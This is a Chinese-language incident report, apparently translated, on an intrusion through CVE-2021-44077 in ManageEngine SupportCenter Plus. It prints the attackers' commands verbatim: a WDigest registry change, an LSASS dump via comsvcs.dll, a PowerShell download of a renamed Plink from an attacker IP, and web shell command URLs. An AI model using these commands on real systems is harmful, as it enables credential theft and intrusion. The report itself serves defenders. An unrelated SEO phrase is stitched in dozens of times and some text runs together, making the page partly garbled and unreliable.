failed to set data for是什么意思(every road leads to rome)

文章前言

在这次持续多天的入侵攻击事件中,我们观察到一个威胁参与者通过利用ManageEngine SupportCenter Plus中的漏洞获得了对某个组织的初始访问权限,威胁参与者在服务器上发现文件并使用web shell转储凭据,使用Plink和RDP横向移动到关键服务器,并使用web shell和RDP渗透敏感信息

联邦调查局和CISA公布的一份报告中描述到APT攻击者正在使用CVE-2021-44077初步进入关键基础设施部门的组织网络,如医疗保健、金融、电子和IT咨询行业

https://www.cisa.gov/uscert/ncas/alerts/aa21-336a

简易概括

入侵始于通过利用面向互联网的ManageEngine SupportCenter Plus实例的CVE-2021-44077漏洞,威胁参与者成功利用了SupportCenter Plus中的RCE漏洞,该漏洞允许他们在互联网可访问的目录中丢弃web shell我们看到的漏洞看起来与上公开的POC漏洞开源代码库非常相似:

https://github.com/horizon3ai/CVE-2021-44077

之后威胁参与者对系统执行一些通用枚举,并使用web shell在服务器上启用WDigest身份验证,系统上的枚举包括查询网络配置、加入域的计算机列表、用户和操作系统信息以及滩头阵地上的当前用户会话

之后攻击者在几天内会检查哪些用户使用webshell登录到了beachhead服务器,最后在第七天威胁参与者在系统上执行LSASS转储,并捕获了最近登录系统的管理用户的凭证,在这种情况下由于之前启用了WDigest身份验证威胁参与者可以访问用户的明文凭据

之后攻击者下载了ekern.exe,这是一个重命名版本的Plink,并部署了一个脚本来建立到beachhead服务器的RDP端口的反向SSH连接,威胁参与者成功地建立了到beachhead服务器的交互式RDP会话,并开始列举网络上的其他计算机

从beachhead通过RDP横向移动到另外三台服务器,包括一台域控制器、一台文件服务器和另一台服务器,在整个入侵过程中机密文件通过RDP混合使用web shell访问和手动键盘访问从网络中泄露出去

这些文件对业务及其合作伙伴至关重要,而且所窃取的这些文件是有选择的,就好像攻击者在寻找特定的材料,当要渗透某些文件或文件夹时,一个最重要的文件夹被渗透,同时传递其他合作伙伴的文件夹和文件,除了提到的文件和文件夹之外,内部机器证书被审查并随后被泄露,迄今为止,尚未在任何公共转储或销售中发现泄露的信息,在窃取这些信息后威胁参与者很快被逐出网络

时间列表

初始访问

最初的访问始于通过开发ManageEngine SupportCenter Plus CVE-2021-44077,这是一个未经验证的远程代码执行漏洞,造成这种攻击的主要有两种HTTP请求

failed to set data for是什么意思(every road leads to rome)

第一个请求发送了一个包含PE文件内容的POST,该文件被写入:

C:\\\\Program Files\\\\ManageEngine\\\\SupportCenterPlus\\\\bin\\\\msiexec.exe

failed to set data for是什么意思(every road leads to rome)

/RestAPI/ImportTechnicians?step=1

第二个请求试图安装Zoho的Site24x7性能监控工具,但间接调用了上传的msiexec.exe文件,关于这一点的更多细节将在执行部分介绍

failed to set data for是什么意思(every road leads to rome)

/RestAPI/s247action?execute=s247AgentInstallationProcess&apikey=asdasd

针对面向互联网的服务器的攻击来自两个Tor出口节点,据观察攻击的每一步都来自不同的TOR出口节点

2.58.56.14185.220.101.76

failed to set data for是什么意思(every road leads to rome)

命令执行

failed to set data for是什么意思(every road leads to rome)

CVE-2021-44077漏洞利用的第二阶段涉及启动Zoho的Site24x7性能监控工具的安装,Support Center Plus将通过运行以下命令经由msiexec.exe调用安装来完成此操作

msiexec.exe/I site 24x7 windows agent . MSI edita 1 = as dasd/qn

运行此命令时Support Center Plus的运行路径是:

C:\\\\Program Files\\\\ManageEngine\\\\SupportCenterPlus\\\\bin\\\\

这意味着威胁入侵者上传的msiexec.exe将比合法的微软实用程序更受青睐

failed to set data for是什么意思(every road leads to rome)

一旦恶意msiexec.exe被执行,嵌入的Java有效负载将被解码并写入:

C:\\\\Program Files\\\\ManageEngine\\\\SupportCenterPlus\\\\custom\\\\login\\\\fm2.jsp

传递给msiexec.exe的参数从未使用过,Site24x7性能监控工具也从未安装过

failed to set data for是什么意思(every road leads to rome)

web shell被写入到一下路径:

C:\\\\Program files\\\\ManageEngine\\\\SupportCenterPlus\\\\Custom\\\\Login\\\\fm2.jsp

failed to set data for是什么意思(every road leads to rome)

该位置可通过web访问,这意味着威胁参与者可以通过互联网上的web浏览器与webshell进行交互,下面是一些通过web shell运行的命令

https://server.example/custom/login/fm2.jsp?cmd=arp -ahttps://server.example/custom/login/fm2.jsp?cmd=del c:\\\\windows\\\\temp\\\\logctl.ziphttps://server.example/custom/login/fm2.jsp?cmd=systeminfohttps://server.example/custom/login/fm2.jsp?cmd=tasklisthttps://server.example/custom/login/fm2.jsp?cmd=wmic computersystem get domain

failed to set data for是什么意思(every road leads to rome)

下面是一些与msiexec.exe相关的信息:

compiler timestamp of Thu Nov 14 12:00:07 2075debugger timestamp of Wed Oct 03 09:01:59 2068File version 1.0.0.0PDB of c:\\\\users\\\\administrator\\\\msiexec\\\\msiexec\\\\msiexec\\\\obj\\\\x86\\\\debug\\\\msiexec.pdb.NET(v4.0.30319)

威胁参与者之前已经上传了一个不同的文件,在webshell创建的几分钟前命名为相同的东西,在该文件的执行似乎失败后威胁参与者从上面上传了msiexec.exe文件,该文件在几秒钟后创建了webshell

failed to set data for是什么意思(every road leads to rome)

这两个msiexec文件包含相同的webshell,但有一些不同的特征,以下是第一次尝试失败的msiexec文件的一些信息

compiler timestamp of Mon Oct 17 01:32:17 2067debugger timestamp of Sat Apr 15 14:30:09 1995File version 1.0.0.0PDB of m:\\\\work\\\\shellll\\\\msiexec\\\\msiexec\\\\obj\\\\release\\\\msiexec.pdb.NET(v2.0.50727)

可以看到主要区别是有趣的PDB路径m:\\\\work\\\\shellll\\\\和.NET版本的不同

应用日志

我们可以从Catalina.txt日志中看到当威胁参与者运行fxs.bat(RDP隧道)等特定命令时,应用程序认为进程被挂起(运行30秒以上)并创建一条警告消息

[REDACTED]|[REDACTED]|[org.apache.catalina.valves.StuckThreadDetectionValve]|[WARNING]|[57]: Thread [/login/fm2.jsp-1649702723966_###_] (id=[64]) has been active for [39,915] milliseconds (since REDACTED]) to serve the same request for [http://REDACTED:8080/custom/login/fm2.jsp?cmd=C%3A%5CWindows%5Ctemp%5Cfxs.bat] and may be stuck (configured threshold for this StuckThreadDetectionValve is [30] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and may be stuck.|

在Securitylog0.txt文件中,我们可以一遍又一遍地看到对web shell和时间戳的请求,但除此之外就没什么了

[REDACTED]|[REDACTED]|[com.manageengine.servicedesk.filter.SdpSecurityFilter]|[INFO]|[76]: RequestURI::::::: /login/fm2.jsp|

这些是我们能找到的与这次入侵相关的所有支持中心和日志,还有很多需要改进的地方

权限维持

在入侵过程中观察到的唯一持久性形式是在利用过程中落入beachhead的webshell,Java WebShell中有多种远程交互功能,包括:

  • 命令执行

  • 查看和下载文件

  • 创建新文件

failed to set data for是什么意思(every road leads to rome)

failed to set data for是什么意思(every road leads to rome)

权限提升

beachhead ManageEngine服务器上不需要权限提升,因为该漏洞通过web shell系统级权限执行命令,后来在入侵过程中他们转储了一个用户的凭据,该用户拥有允许在整个环境中横向移动的权限,在凭证访问一节中有更多关于转储方法的信息

failed to set data for是什么意思(every road leads to rome)

防御绕过

在初始访问期间攻击者上传了一个名为msiexec.exe的二进制文件到系统上,这个二进制文件不是合法的微软msiexec.exe,而是一个包含嵌入式编码web shell的下载程序,该可执行文件的命名具有融入环境并看起来合法的好处,同时对利用CVE-2021-44077也很关键,在入侵的后期攻击者转储LSASS进程(参见凭证访问一节),在泄漏LSASS转储之后,攻击者删除了转储文件以隐藏他们的踪迹

failed to set data for是什么意思(every road leads to rome)

failed to set data for是什么意思(every road leads to rome)

从LSASS转储中获取凭证后威胁参与者返回到环境中并下载名为ekern.exe通过SSH建立RDP隧道连接,Ekern.exe是plink.exe重命名工具是为了不被发现,此外ekern.exe这个名字类似于ESET的已知成分名叫ekrn.exe

failed to set data for是什么意思(every road leads to rome)

在beachhead系统上威胁参与者查询注册表检查是否启用了WDigest:

HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\\\\UseLogonCredential

WDigest允许LSASS中的凭据缓存,这将导致用户的明文密码存储在内存中,WDigest凭据缓存的预期目的是方便使用HTTP和SASL进行明文身份验证,但是这可能会被威胁参与者滥用来检索用户的明文凭据,下面是从web shell执行的命令:

powershell.exe reg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest /v UseLogonCredential

failed to set data for是什么意思(every road leads to rome)

该注册表值在系统中不存在,这通知攻击者WDigest在beachhead上被禁用

failed to set data for是什么意思(every road leads to rome)

22秒后威胁参与者通过webshell使用以下命令启用了WDigest:

powershell.exe  Set-ItemProperty -Force -Path  \\\'HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest\\\' -Name  \\\'UseLogonCredential\\\' -Value \\\'1\\\'

failed to set data for是什么意思(every road leads to rome)

凭证访问

启用WDigest后,攻击者在多天内进行了多次检查以查看谁登录了,在此期间一个特权用户登录到系统进行维护工作,之后威胁参与者使用comsvcs.dll转储LSASS,威胁参与者通过tasklist命令列出正在运行的进程,并使用输出中LSASS的PID传递给凭据转储命令

\\\"C:\\\\windows\\\\System32\\\\rundll32.exe\\\" C:\\\\windows\\\\System32\\\\comsvcs.dll MiniDump  C:\\\\windows\\\\temp\\\\logctl.zip full

failed to set data for是什么意思(every road leads to rome)

然后LSASS转储被从环境中渗透出来以便进行离线分析,其余的操作由从LSASS转储中提取密码的帐户执行

服务发现

威胁参与者使用web shell fm2.jsp在主机上执行他们的初始发现,下面是发送到webshell的GET请求,发现命令传递给cmd参数,该参数作为PowerShell运行

failed to set data for是什么意思(every road leads to rome)

powershell.exe reg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SecurityProviders\\\\WDigest /v UseLogonCredentialpowershell.exe query sessionpowershell.exe systeminfopowershell.exe quserpowershell.exe arp -apowershell.exe wmic computersystem get domainpowershell.exe netstat -anpowershell.exe ipconfig /all

他们还使用webshell来查看目录,这里有几个例子

/custom/login/fm2.jsp?p=C:/Windows/Temp&action=get/custom/login/fm2.jsp?p=C:/Windows&action=get/custom/login/fm2.jsp?p=C:/&action=get/custom/login/fm2.jsp?p=C:/ALLibraries&action=get/custom/login/fm2.jsp?p=C:/Users&action=get
C:/Windows/TempC:/WindowsC:/C:/ALLibrariesC:/Users

后渗透类

威胁参与者使用webshell来下载file.exe拖到beachHead,并将其保存为ekern.exe并使用PowerShell下载

powershell.exe (New-Object System.Net.WebClient).DownloadFile(\\\'hXXp://23.81.246[.]84/file.exe\\\', \\\'c:\\\\windows\\\\temp\\\\ekern.exe\\\')

文件ekern.exe是的重命名副本Plink.exe命令行SSH客户端

failed to set data for是什么意思(every road leads to rome)

Plink与名为批处理脚本的FXS.bat结合使用与威胁参与者的服务器建立SSH连接

failed to set data for是什么意思(every road leads to rome)

<img decoding=\"async\" class=\"rich_pages wxw-img\" data-galleryid=\"\" data-ratio=\"0.1387782204515272\" data-s=\"300,640\" src=\"https://www.123falv.com/wp-admin/img.php?imgUrl=https://mmbiz.qpic.cn/mmbiz_png/PJcQz9vmUicmnEgIkCdzB39wPvQ0SC9T5arwFZ4Pvd0g6jAIdyNa3uiaj7kGqX3T63NqLd6T3

原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34189.html

(0)
七芒星实验室's avatar七芒星实验室
上一篇 2024年4月13日 下午8:28
下一篇 2024年4月13日 下午8:30

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注